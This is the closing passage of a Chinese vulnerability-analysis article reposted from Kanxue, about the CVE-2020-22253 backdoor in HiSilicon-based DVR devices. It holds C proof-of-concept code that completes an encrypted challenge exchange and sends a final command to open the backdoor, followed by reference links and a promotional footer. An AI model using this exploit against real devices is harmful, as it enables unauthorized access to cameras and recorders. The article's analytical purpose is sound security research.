if (memcmp(netbuf, VERIFY_OK, sizeof(VERIFY_OK) - 1) != 0) {
fprintf(stderr, "Verification failed.n");
return 4;
}
char encryptedFinal[PADDED(sizeof(FINAL_PAYLOAD))];
encrypt(encryptedFinal, FINAL_PAYLOAD, sizeof(FINAL_PAYLOAD), challengeStr, challengeLen);
memcpy(netbuf, CMD_FINAL, sizeof(CMD_FINAL) - 1);
memcpy(netbuf + sizeof(CMD_FINAL) - 1, encryptedFinal, sizeof(encryptedFinal));
if (send_str(sockfd, netbuf, sizeof(CMD_FINAL) - 1 + sizeof(encryptedFinal)) == -1) {
perror("send");
return 1;
}
bzero(netbuf, BUFSIZE);
if ((numbytes=recv(sockfd, netbuf, BUFSIZE - 1, 0)) == -1) {
perror("recv");
return 1;
}
puts(netbuf);
if (memcmp(netbuf, OPEN_OK, sizeof(OPEN_OK) - 1)) {
fprintf(stderr, "Open failed.n");
return 5;
}
return 0;
}
参考文章
https://github.com/tothi/pwn-hisilicon-dvr#summary
https://www.4hou.com/posts/mGYE
https://github.com/tothi/pyDes/blob/master/pyDes.py
看雪ID:愿风载尘
https://bbs.kanxue.com/user-home-937578.htm
# 往期推荐
3、安卓加固脱壳分享
球分享
球点赞
球在看
原文始发于微信公众号(看雪学苑):CVE-2020-22253后门漏洞分析